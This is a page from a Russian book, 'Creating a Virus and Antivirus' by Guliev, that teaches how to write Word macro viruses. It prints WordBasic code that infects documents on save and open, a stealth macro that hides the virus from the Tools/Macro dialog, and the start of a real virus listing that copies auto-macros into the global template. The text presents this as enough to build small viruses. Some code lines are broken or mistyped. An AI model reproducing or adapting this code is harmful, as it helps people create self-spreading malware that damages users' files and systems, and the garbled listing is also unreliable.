Создаем вирус и антивирус (Гульев) - страница 38

’Заражает при сохранении документа

MacroCopy ”FileSave”, WindowName$()+”:FileSave”

MacroCopy ”PayLoad”, WindowName$()+”:PayLoad”

MacroCopy ”FileOpen”, WindowName$()+”:FileOpen”

’При открытии документа

Dlg.Format=1

End If

FileDaveAs dlg

End Sub

Этой информации вполне достаточно для создания небольших макровирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:

Sub MAIN

On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox ”start ToolsMacro”

Dim dlg As OutilsMacro

If macros.bDebug Then MsgBox ”1”

GetCurValues dlg

If macros.bDebug Then MsgBox ”2”

On Error Goto Skip

Dialog dlg

OutilsMacro dlg

Skip:

On Error Goto ErrorRoutine ’При ошибке на выход

End If

REM enable automacros

DisableAutoMacros 0

macros.SavToGlobal(OldName$)

macros.objectiv

Goto Done ’Переход на метку

Done

ErrorRoutine:

On Error Goto Done ’Переход на метку

Done

If macros.bDebug Then

MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об

ошибке

End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] ”U”

Encryption key: DF

Sub MAIN

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$()+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$()+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$()+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$()+”:It”, ”Global:It”, 1

MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1

End If

End Sub

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).